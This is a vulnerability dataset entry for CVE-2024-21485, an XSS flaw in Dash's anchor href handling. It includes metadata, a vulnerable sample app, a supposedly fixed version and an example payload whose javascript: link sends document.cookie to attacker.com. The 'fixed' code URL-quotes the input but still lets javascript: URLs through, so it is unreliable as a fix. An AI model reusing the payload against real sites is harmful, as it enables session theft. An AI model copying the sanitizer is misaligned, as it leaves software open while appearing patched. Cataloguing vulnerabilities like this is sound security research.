CVE-2024-21485

XSS vulnerability in Dash components allows data theft via manipulated links.

• CVSS 5.4
• CWE-79
• Input Validation and Sanitization
• Remote

Versions of the package dash-core-components before 2.13.0; versions of the package dash-core-components before 2.0.0; versions of the package dash before 2.15.0; versions of the package dash-html-components before 2.0.0; versions of the package dash-html-components before 2.0.16 are vulnerable to Cross-site Scripting (XSS) when the href of the a tag is controlled by an adversary. An authenticated attacker who stores a view that exploits this vulnerability could steal the data that's visible to another user who opens that view – not just the data already included on the page, but they could also, in theory, make additional requests and access other data accessible to this user. In some cases, they could also steal the access tokens of that user, which would allow the attacker to act as that user, including viewing other apps and resources hosted on the same server. **Note:** This is only exploitable in Dash apps that include some mechanism to store user input to be reloaded by a different user.

CVE

CVE-2024-21485

CWE

CWE-79

CVSS base score

5.4

Published

2024-02-02

OWASP

A03 Injection

Orthogonal defect classification

Interface

Code defect classification

Incorrect Functionality

Category

Input Validation and Sanitization

Subcategory

Cross-Site Scripting (XSS)

Accessibility scope

Remote

Impact

Data Theft

Affected component

dash-core-co

Fixed by upgrading

Yes

Solution

Upgrade to dash-core-components version 2.13.0 or later, dash version 2.15.0 or later, dash-html-components version 2.0.0 or later.

import dash
from dash import html, dcc

app = dash.Dash(__name__)

@app.callback(
    dash.dependencies.Output('output', 'children'),
    [dash.dependencies.Input('input', 'value')]
)
def update_output(value):
    return html.A('Click here', href=value)

app.layout = html.Div([
    dcc.Input(id='input', type='text', placeholder='Enter URL'),
    html.Div(id='output')
])

if __name__ == '__main__':
    app.run_server()

import dash
from dash import html, dcc
import urllib.parse

app = dash.Dash(__name__)

def sanitize_url(url):
    return urllib.parse.quote(url, safe=':/')

@app.callback(
    dash.dependencies.Output('output', 'children'),
    [dash.dependencies.Input('input', 'value')]
)
def update_output(value):
    safe_value = sanitize_url(value)
    return html.A('Click here', href=safe_value)

app.layout = html.Div([
    dcc.Input(id='input', type='text', placeholder='Enter URL'),
    html.Div(id='output')
])

if __name__ == '__main__':
    app.run_server()

<a href="javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie)">Click here</a>

@misc{vaitp:cve202421485,
  title        = {{XSS vulnerability in Dash components allows data theft via manipulated links.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-21485},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-21485/}}
}